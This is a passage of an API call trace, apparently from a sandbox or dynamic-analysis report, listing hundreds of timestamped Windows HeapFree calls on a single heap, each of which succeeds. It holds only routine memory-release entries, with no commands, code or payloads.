lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.899] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.899] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.900] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.900] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.901] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.901] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.902] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.903] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.903] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.904] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.904] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.905] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.905] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.905] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.909] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.909] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.910] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.910] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.910] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.911] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.911] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.912] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.912] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448ffe0 | out: hHeap=0x510000) returned 1 [0144.912] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0144.913] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0144.915] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0144.935] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.936] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.937] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0144.994] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.995] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.995] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.995] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.995] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.995] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.995] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.995] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.996] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.996] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.996] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.996] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.996] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.996] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.996] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0144.996] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0144.996] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0144.996] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0144.998] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0145.020] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.021] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0145.021] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0145.026] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.027] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.027] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.028] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.029] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.029] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.029] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.030] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.030] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.031] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.031] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.031] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.032] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.032] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0145.032] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0145.032] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0145.035] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0145.056] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.056] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.057] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0145.069] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.070] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.070] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.072] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.073] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.074] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.074] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.075] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.075] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.076] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.076] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.077] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.077] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.078] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.079] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.079] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.080] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.080] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.080] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.081] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.081] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.082] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.082] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.092] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.092] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.092] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.093] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.093] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.094] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.094] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.094] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.094] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.095] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.095] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.095] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.095] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0145.095] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0145.143] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0145.441] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.441] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.441] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.441] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.442] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.442] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.442] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.442] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.442] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.443] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.443] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.443] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.443] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.443] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.443] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.443] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.443] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.443] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.444] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.444] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.444] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.444] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.444] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.444] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.444] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.444] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.444] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.444] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.445] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.445] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.445] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.445] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.445] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.445] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.445] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.445] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0145.447] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0145.447] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0145.449] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.449] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.449] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0145.569] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.570] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.570] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.571] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.571] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.572] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.573] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.573] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.573] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.574] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.575] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.575] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.576] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.576] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.577] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.577] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.578] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.579] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.579] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.580] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.581] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.593] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.593] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.594] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.594] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.595] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.595] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.596] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.597] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.597] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.598] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.598] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.598] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.599] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.599] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.599] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0145.599] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0145.601] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0145.602] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0145.602] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0145.602] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0145.612] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.613] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.614] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.614] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.614] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.615] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.616] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.616] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.617] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.617] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.618] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.619] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.619] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.621] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.621] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.622] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.622] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.623] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.623] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.624] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.624] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.625] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.625] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.625] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.625] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.626] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.626] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.627] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.627] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.627] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.628] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.628] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.628] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.629] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.629] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.630] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0145.630] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0145.631] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0145.632] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0145.632] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0145.787] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0145.788] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: 